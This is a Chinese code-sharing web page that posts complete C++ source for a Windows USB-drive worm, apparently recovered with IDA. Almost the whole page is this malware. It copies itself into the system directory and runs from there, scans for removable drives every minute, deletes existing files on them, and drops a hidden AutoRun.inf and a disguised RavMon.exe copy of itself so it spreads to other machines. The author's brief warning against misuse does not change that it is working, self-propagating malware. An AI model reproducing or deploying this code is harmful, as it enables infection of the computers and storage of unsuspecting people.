一个简单的C++编写的u盘病毒代码

2018-07-20    来源:open-open

容器云强势上线!快速搭建集群,上万Linux镜像随意使用
一个简单的C++编写的u盘病毒代码
一个win32下能用的U盘病毒 研究原理可以 别编译拿去害人就行 (ring3的病毒貌似也害不了人) 前久用IDA逆向出来的 感兴趣的可以看看。。。
#include<windows.h>
#include<string.h>
  
BOOL UDevice();
 
void ResourceToFile(char  *filename,char *Name,char* Type);
 
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance,
     LPSTR lpCmdLine, int nShowCmd)
 {
     UDevice();
    return 0;
 }
 
 BOOL UDevice()
 {
     
     while(1)
     {
         char Name[256]="H:\\";
         char szName[256];
         char ToPath[256];
         char infPath[256];
         char OpenUDevice[79];
  
         UINT retType;
      
         memset(szName, 0, 256);
         memset(ToPath, 0, 256);
         memset(infPath, 0, 256);
         memset(OpenUDevice, 0, 79);
     
     
     //do
     //{
     //}while()
     
     //遍历盘符
         unsigned char i = 0x42;
         for(; i < 0x5B; i += 0x1)
         {
           Name[0] = i;
           retType = GetDriveType(Name);
           //判断是否是可移动存储设备
           if(retType == DRIVE_REMOVABLE)
           {
                //得到自身文件路径
                GetModuleFileName(NULL, szName, 256);
                //比较是否和U盘的盘符相同
                if(strncmp(Name, szName, 1) == 0)
                {
                    //得到系统目录
                   GetSystemDirectory(ToPath, 256);
                   strcat(ToPath,"\\Uinfect.exe");
                   //把自身文件复制到系统目录
                   if(CopyFile(szName, ToPath, TRUE))
                   {
                       WinExec(ToPath, 0);//运行程序
                   }
 
                   strcpy(OpenUDevice, "explorer ");
                   strcat(OpenUDevice, Name);
                   
                   //打开U盘
                   WinExec(OpenUDevice,1);
                   return 0;  
                }
                else
                {
                    strcpy(ToPath, Name);
                    strcat(ToPath,"\\RavMon.exe");
                    strcpy(infPath,Name);
                    strcat(infPath,"\\AutoRun.inf");
 
 
                    //还原U盘上的文件属性
                    SetFileAttributes(ToPath,FILE_ATTRIBUTE_NORMAL);
                    SetFileAttributes(infPath,FILE_ATTRIBUTE_NORMAL);
                    //删除原有文件
                    DeleteFile(ToPath);
                    DeleteFile(infPath);
                    //释放AutoRun.inf到U盘
                    ResourceToFile(infPath, (char*)0x64, (char*)256);
                    //拷贝自身文件到U盘
                    CopyFile(szName,ToPath,FALSE);
                    
                    //把这两个文件设置成系统,隐藏属性
                    
                    //这里我查了MSDN  因为第二个参数的宏可能用了或位运算,所以推导宏定义有点麻烦
                    SetFileAttributes(ToPath, 0x6);
                    SetFileAttributes(infPath, 0x6);
                }
           }
         }
         //一分钟检测一次U盘
         Sleep(60000);
     }
    
 }
 
 
void ResourceToFile(char  *filename,char *Name,char* Type)
{  
    
    //寻找自身进程中的资源
    HRSRC hRes = FindResource(NULL,Name,Type);
    if(hRes==NULL)
        return;
    //导入资源
    HGLOBAL hgRes = LoadResource(NULL, hRes);
    if(hgRes==NULL)
        return;
    //锁定资源
    void *pRes = LockResource(hgRes);
    if(pRes==NULL)
        return;
    //得到资源字节数
    DWORD size = SizeofResource(NULL, hRes);
    if(size==0)
        return;
    //创建文件
    HANDLE hFile = CreateFile(filename, 0x40000000, 0, 0,
                     CREATE_ALWAYS,FILE_ATTRIBUTE_NORMAL, 0);
    if(hFile==INVALID_HANDLE_VALUE)
        return;
    DWORD dwWrite;
    //把资源写入到文件
    if(!WriteFile(hFile, pRes, size, &dwWrite, 0))
        return;
    //关闭文件句柄
    CloseHandle(hFile);
    //释放资源
    GlobalFree(hgRes);
}

标签: 代码

版权申明:本站文章部分自网络,如有侵权,请联系:west999com@outlook.com
特别注意:本站所有转载文章言论不代表本站观点!
本站所提供的图片等素材,版权归原作者所有,如需使用,请与原作者联系。

上一篇:Android 程序崩溃 后台handle处理类

下一篇:Java获取当前所在进程的PID